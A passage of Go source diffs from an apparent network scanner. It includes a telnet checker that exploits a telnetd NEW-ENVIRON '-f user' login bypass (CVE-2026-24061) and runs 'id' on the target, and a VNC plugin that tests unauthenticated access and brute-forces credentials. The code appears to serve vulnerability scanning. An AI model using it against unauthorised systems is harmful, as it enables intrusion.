payload = append(payload, 1) // SEND indicator
payload = append(payload, []byte("-f "+e.user)...)
payload = append(payload, telnetIAC, telnetSE)
_, _ = e.conn.Write(payload)
e.exploitSent = true
}
// sendSubResp 响应服务端子协商请求
func (e *cveChecker) sendSubResp(opt byte, data []byte) {
resp := []byte{telnetIAC, telnetSB, opt, 0}
resp = append(resp, data...)
resp = append(resp, telnetIAC, telnetSE)
_, _ = e.conn.Write(resp)
}
// parseIAC 解析 Telnet IAC 协商报文,返回非 IAC 数据部分
func (e *cveChecker) parseIAC(data []byte) []byte {
var output []byte
i := 0
for i < len(data) {
if data[i] != telnetIAC {
output = append(output, data[i])
i++
continue
}
i++
if i >= len(data) {
break
}
cmd := data[i]
i++
if cmd == telnetIAC {
output = append(output, 0xFF) // IAC 转义
continue
}
// 子协商 (SB)
if cmd == telnetSB {
if i >= len(data) {
break
}
sbOpt := data[i]
i++
var sbData []byte
for i < len(data)-1 {
if data[i] == telnetIAC && data[i+1] == telnetSE {
i += 2
break
}
sbData = append(sbData, data[i])
i++
}
// 服务端要求回显数据 (SEND indicator = 1)
if len(sbData) > 0 && sbData[0] == 1 {
switch sbOpt {
case 24:
e.sendSubResp(24, []byte("xterm"))
case 32:
e.sendSubResp(32, []byte("38400,38400"))
case telnetNEWENVIRON:
if !e.exploitSent {
e.sendPayload()
}
}
}
continue
}
// DO/DONT/WILL/WONT 协商
if cmd == telnetDO || cmd == telnetDONT || cmd == telnetWILL || cmd == telnetWONT {
if i >= len(data) {
break
}
opt := data[i]
i++
switch cmd {
case telnetDO:
if opt == 24 || opt == 32 || opt == telnetNEWENVIRON {
_, _ = e.conn.Write([]byte{telnetIAC, telnetWILL, opt})
} else {
_, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt})
}
case telnetWILL:
if opt == 1 || opt == 3 {
_, _ = e.conn.Write([]byte{telnetIAC, telnetDO, opt})
} else {
_, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt})
}
case telnetWONT:
_, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt})
case telnetDONT:
_, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt})
}
}
}
return output
}
// readAll 读取连接中的所有可用数据,deadline 控制等待上限
func (e *cveChecker) readAll(timeout time.Duration) []byte {
var out []byte
_ = e.conn.SetReadDeadline(time.Now().Add(timeout))
for {
n, err := e.conn.Read(e.buf)
if n > 0 {
out = append(out, e.parseIAC(e.buf[:n])...)
// 收到数据后缩短后续等待,快速收完尾包
_ = e.conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
}
if err != nil {
break
}
}
return out
}
// genToken 生成 16 位随机验证 token
func (e *cveChecker) genToken() string {
b := make([]byte, 8)
_, _ = rand.Read(b)
return fmt.Sprintf("%x", b)
}
// extractEvidence 从输出中提取包含关键词的完整行作为证据,清理 \r 控制字符
func (e *cveChecker) extractEvidence(data string, keywords []string) string {
for _, kw := range keywords {
for _, line := range strings.Split(data, "\n") {
line = strings.TrimSpace(strings.ReplaceAll(line, "\r", ""))
if line != "" && strings.Contains(line, kw) {
return "[" + line + "]"
}
}
}
return ""
}
// run 执行 CVE-2026-24061 检测流程
// 优先级: id 命令输出 > echo token 回显
func (e *cveChecker) run() (bool, string, string) {
// 阶段 1: IAC 协商(deadline 控制,不 sleep
_ = e.conn.SetReadDeadline(time.Now().Add(3 * time.Second))
for {
n, err := e.conn.Read(e.buf)
if err != nil {
break
}
out := e.parseIAC(e.buf[:n])
if len(out) > 0 || e.exploitSent {
break
}
}
// 协商未触发 exploit 则主动发送
if !e.exploitSent {
e.sendPayload()
e.readAll(500 * time.Millisecond) // 消费协商回包
}
// 阶段 2: id 命令检测
_, _ = e.conn.Write([]byte("id\n"))
idOutput := string(e.readAll(2 * time.Second))
evidence := e.extractEvidence(idOutput, []string{"uid=", "gid="})
if evidence != "" {
return true, e.user, evidence
}
// 阶段 3: echo token 验证
token := e.genToken()
_, _ = e.conn.Write([]byte("echo " + token + "\n"))
result := string(e.readAll(1500 * time.Millisecond))
stripped := strings.Replace(result, "echo "+token, "", 1)
if strings.Contains(stripped, token) {
return true, e.user, "[echo " + token + "]"
}
return false, "", ""
}
func init() {
RegisterPluginWithPorts("telnet", func() Plugin {
return NewTelnetPlugin()
+1 -1
View File
@@ -10,7 +10,7 @@ import (
// 插件接口定义 - 统一命名风格
type Plugin interface {
Name() string
Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult
Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult
}
type ScanResult = plugins.Result
+12 -15
View File
@@ -24,11 +24,12 @@ func NewVNCPlugin() *VNCPlugin {
}
}
func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
// 检查未授权访问
if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success {
if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success {
common.LogVuln(i18n.Tr("vnc_unauth", target))
return result
}
@@ -47,8 +48,8 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
}
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "vnc", testConfig)
@@ -60,22 +61,21 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
}
// createAuthFunc 创建VNC认证函数
func (p *VNCPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
func (p *VNCPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doVNCAuth(ctx, info, cred, config, state)
return p.doVNCAuth(ctx, info, cred, session)
}
}
// doVNCAuth 执行VNC认证
func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
target := info.Target()
resultChan := make(chan *AuthResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: classifyVNCErrorType(err),
@@ -84,7 +84,7 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C
return
}
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
vncConfig := &vnc.ClientConfig{
Auth: []vnc.ClientAuth{
@@ -95,7 +95,6 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C
client, err := vnc.Client(conn, vncConfig)
if err != nil {
_ = conn.Close()
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: classifyVNCErrorType(err),
@@ -104,8 +103,6 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C
return
}
state.IncrementTCPSuccessPacketCount()
resultChan <- &AuthResult{
Success: true,
Conn: &vncClientWrapper{client, conn},
@@ -173,9 +170,9 @@ func classifyVNCErrorType(err error) ErrorType {
return ClassifyError(err, nil, CommonNetworkErrors)
}
func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
cred := Credential{Username: "", Password: ""}
result := p.doVNCAuth(ctx, info, cred, config, state)
result := p.doVNCAuth(ctx, info, cred, session)
if result.Success {
if result.Conn != nil {